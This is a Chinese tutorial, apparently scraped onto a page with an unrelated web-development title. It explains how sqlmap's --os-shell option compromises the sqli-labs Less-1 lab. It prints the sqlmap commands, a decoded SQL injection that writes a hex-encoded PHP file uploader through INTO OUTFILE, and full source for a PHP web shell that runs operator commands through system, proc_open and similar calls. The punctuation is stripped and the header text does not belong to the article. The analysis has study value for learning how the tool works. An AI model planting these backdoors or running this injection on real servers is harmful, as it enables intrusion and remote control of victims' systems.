如何建立一个网站优化服务公司自己的专业网页?
摘要:网站建设优化服务机构,如何做一个自己的网页,网络公司app制作,wordpress无法搜索文章目录 sqlmap --os-shell选项原理解析原理解析总结 sqlmap --os-shell选项原理解析 以sqli第一关为例。 --os
网站建设优化服务机构,如何做一个自己的网页,网络公司app制作,wordpress无法搜索文章目录 sqlmap --os-shell选项原理解析原理解析总结 sqlmap --os-shell选项原理解析
以sqli第一关为例。
--os-shell 是 SQLMap 工具的一个参数#xff0c;用于在成功注入数据库后#xff0c;执行操作系统命令并获取其输出。
sqlmap -u http://192.168.188.199/sq… 文章目录 sqlmap --os-shell选项原理解析原理解析总结 sqlmap --os-shell选项原理解析
以sqli第一关为例。
--os-shell 是 SQLMap 工具的一个参数用于在成功注入数据库后执行操作系统命令并获取其输出。
sqlmap -u http://192.168.188.199/sqli-labs/Less-1/?id1 --os-shell选择4因为整个网站是php代码写的。 选择2自定义位置。这里选择网站的WWW目录下 获取shell执行命令即可。 原理解析
在执行sqlmap命令的时候将代理设置为本地的8080端口目的是在bp中抓取sqlmap发送的数据包进行分析。
sqlmap -u http://192.168.188.199/sqli-labs/Less-1/?id1 --os-shell --proxyhttp://127.0.0.1:8080在抓到第一个数据包后关闭拦截后续sqlmap发送的数据包都会在bp的历史记录里都有数据。
执行完整个–os-shell过程在bp的HTTP history历史记录中也抓到了全部数据包下面对数据包进行分析。 在id后面所跟的参数是经过URL编码的所有uTools中的工具进行解密。 解码后的语句
-9725 OR 48444844 LIMIT 0,1 INTO OUTFILE C:/phpstudy_2016/WWW/tmpuxxig.php LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c70687073747564795f323031365c5c5757575c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- - 但是发现在LINES TERMINATED BY后面还有一段十六进制数继续解码获取真实的数据。 发现是一段php代码代码整理如下
?php
if (isset($_REQUEST[upload])){$dir$_REQUEST[uploadDir];if (phpversion()4.1.0){$file$HTTP_POST_FILES[file][name];move_uploaded_file($HTTP_POST_FILES[file][tmp_name],$dir./.$file) or die();}else{$file$_FILES[file][name];move_uploaded_file($_FILES[file][tmp_name],$dir./.$file) or die();}chmod($dir./.$file,0755);echo File uploaded;
}else {echo form action.$_SERVER[PHP_SELF]. methodPOST enctypemultipart/form-datainput typehidden nameMAX_FILE_SIZE value1000000000bsqlmap file uploader/bbrinput namefile typefilebrto directory: input typetext nameuploadDir valueC:\\phpstudy_2016\\WWW\\ input typesubmit nameupload valueupload/form;
}
?根据上面的mysql语句是利用into outfile …LINES TERMINATED BY语句写个用于上传文件的tmpuxxig.php
–os-shell的本质就是写入两个php文件其中的tmpuxxig.php可以让我们上传文件到网站路径下如下图。 然后sqlmap就会通过上面这个php上传一个用于命令执行的tmpbeabi.php到网站路径下让我们命令执行并将输出的内容返回sqlmap端。 继续查看HTTP history历史记录数据包 发现这个数据包是通过POST方法上传了一个tmpbeabi.php 文件的内容经过整理后如下
?php $c$_REQUEST[cmd];set_time_limit(0);ignore_user_abort(1);ini_set(max_execution_time,0);$zini_get(disable_functions);if(!empty($z)) {$zpreg_replace(/[, ]/,,,$z);$zexplode(,,$z);$zarray_map(trim,$z);} else {$zarray();}$c$c. 21\n;function f($n) {global $z;return is_callable($n)and!in_array($n,$z);}if(f(system)) {ob_start();system($c);$wob_get_clean();} elseif(f(proc_open)) {$yproc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$wNULL;while(!feof($t[1])) {$w.fread($t[1],512);}proc_close($y);} elseif(f(shell_exec)) {$wshell_exec($c);} elseif(f(passthru)) {ob_start();passthru($c);$wob_get_clean();} elseif(f(popen)) {$xpopen($c,r);$wNULL;if(is_resource($x)) {while(!feof($x)) {$w.fread($x,512);}}pclose($x);} elseif(f(exec)) {$warray();exec($c,$w);$wjoin(chr(10),$w).chr(10);} else {$w0;}echopre$w/pre;
?这是一个用于命令执行的代码命令执行后会将执行的结果输出。 最后可以在C:\phpstudy_2016\WWW目录下找到生成的两个后门文件。 总结
sqlmap的–os-shell在mysql数据库中的原理是往服务器上写入了两个php其中一个提供了文件上传的页面可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行命令行也可以在网页url中通过对cmd参数传参执行系统命令。
sqlmap --os-shell 的使用需要以下条件 知道网站的物理路径。 网站路径具有写入的权限。
